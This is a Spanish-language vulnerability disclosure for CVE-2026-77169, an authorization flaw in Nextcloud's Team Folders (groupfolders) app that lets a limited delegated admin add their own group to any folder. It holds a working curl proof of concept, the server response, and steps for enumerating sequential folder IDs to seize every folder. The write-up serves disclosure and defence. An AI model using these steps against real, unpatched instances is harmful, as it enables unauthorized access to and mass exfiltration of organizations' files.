Resumen
Las Team Folders (la app groupfolders) son carpetas compartidas que Nextcloud monta a los miembros de los grupos que tienen asignados. Nextcloud permite además delegar parte de la administración: un usuario puede tener privilegios de administrador delegado limitados, por ejemplo con el perfil API/REST only.
El fallo estaba en este endpoint, que añade un grupo a una Team Folder:
POST /index.php/apps/groupfolders/folders/{id}/groups
El servidor solo comprobaba que quien llamaba tuviera el privilegio de administración a nivel de API, pero no que estuviera autorizado a gestionar esa carpeta en concreto. Así, un administrador delegado con permisos limitados podía añadir un grupo que controlaba a carpetas que no le correspondían y ver su contenido. Como los IDs de las carpetas son enteros autoincrementales, bastaba con recorrerlos para hacerse con todas.
Lo esperado era una respuesta 403 Forbidden para cualquier carpeta que el usuario no pudiera administrar.
El problema se registró como CVE-2026-77169 con el aviso GHSA-9mjh-89xm-hcqw. Nextcloud lo clasificó como severidad media. Reportado el 15 de abril de 2026 y divulgado el 17 de septiembre de 2026.
Entorno de la prueba: Nextcloud Hub 26 Winter (33.0.2) en Docker local, con la app Groupfolders en su última versión compatible y la app Workspace activada.
Pasos de reproducción
Requisitos previos: apps Team Folders y Workspace activadas, una cuenta atacante con privilegios de administrador delegado API/REST only y un grupo bajo su control (en la prueba, Product_Dev).
Sobre una carpeta concreta
- Iniciar sesión con la cuenta de administrador delegado
API/REST only. - Con un proxy como Burp Suite, capturar cualquier petición autenticada para obtener la cookie de sesión y el token CSRF (
requesttoken). - Elegir una Team Folder que el atacante no gestiona. En la prueba,
Finance, con ID1. - Enviar la petición que añade el grupo del atacante a esa carpeta:
POST /index.php/apps/groupfolders/folders/1/groups
Host: <target>
Cookie: <session_cookie>
requesttoken: <request_token>
Content-Type: application/json
{"group": "Product_Dev"}
La versión completa usada como prueba de concepto:
curl -X POST "http://{{TARGET_HOST}}/index.php/apps/groupfolders/folders/1/groups" \
-H "Host: {{TARGET_HOST}}" \
-H "Content-Type: application/json" \
-H "requesttoken: [REDACTADO]" \
-H "X-Requested-With: XMLHttpRequest" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" \
-H "Accept: application/json, text/plain, */*" \
-H "Origin: http://{{TARGET_HOST}}" \
-H "Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc_sessionPassphrase=[REDACTADO]; ocla11e1zi8v=[REDACTADO]; nc_username=Product_Tester_A; nc_token=[REDACTADO]; nc_session_id=[REDACTADO]" \
--data-raw '{"group":"Product_Dev"}'
- Comprobar que la petición se acepta. La respuesta muestra
Product_Deventre los grupos de la carpetaFinance, con permisos31(todos), igual que el propio grupoFinance:
{
"ocs": {
"meta": {
"status": "ok",
"statuscode": 100,
"message": "OK",
"totalitems": "",
"itemsperpage": ""
},
"data": {
"success": true,
"folder": {
"id": 1,
"mount_point": "Finance",
"quota": -3,
"acl": false,
"acl_default_no_permission": false,
"size": 7,
"groups": {
"Finance": 31,
"Product_Dev": 31
},
"group_details": {
"Finance": {
"displayName": "Finance",
"permissions": 31,
"type": "group"
},
"Product_Dev": {
"displayName": "Product_Dev",
"permissions": 31,
"type": "group"
}
},
"manage": []
}
}
}
}
- Iniciar sesión con un usuario de
Product_Dev(o refrescar los montajes). - Abrir la interfaz de Archivos.
- La carpeta
Finance, antes invisible para ese usuario, aparece ahora y se puede abrir.
Sobre todas las carpetas de la instancia
- Reutilizar la misma sesión (cookie y
requesttoken). - Recorrer IDs de carpeta secuenciales, por ejemplo del 1 al 100.
- Repetir para cada ID la petición
POST /index.php/apps/groupfolders/folders/{id}/groupscon el cuerpo{"group":"Product_Dev"}. - El grupo del atacante queda asignado a todas las Team Folders existentes, que pasan a ser accesibles.
Impacto
Un administrador delegado con privilegios limitados podía convertirlos en acceso a los datos de toda la organización:
- Descubrir todos los IDs de Team Folders (son secuenciales y no hay límite de peticiones que lo impida).
- Añadir su propio grupo a cada carpeta, con todos los permisos.
- Leer, descargar y manipular los ficheros de cualquier equipo: informes financieros en
Finance, datos de empleados en RR. HH., código o documentación interna en Ingeniería, etc.
En la práctica, desaparece el aislamiento entre Team Folders y una sola cuenta con privilegios limitados basta para exfiltrar datos a gran escala.
Remediación
Nextcloud corrigió el fallo y lo publicó en el aviso GHSA-9mjh-89xm-hcqw. El reporte no detalla el cambio aplicado; el comportamiento esperado, según el investigador, es devolver 403 Forbidden cuando el usuario no está autorizado a gestionar la carpeta concreta.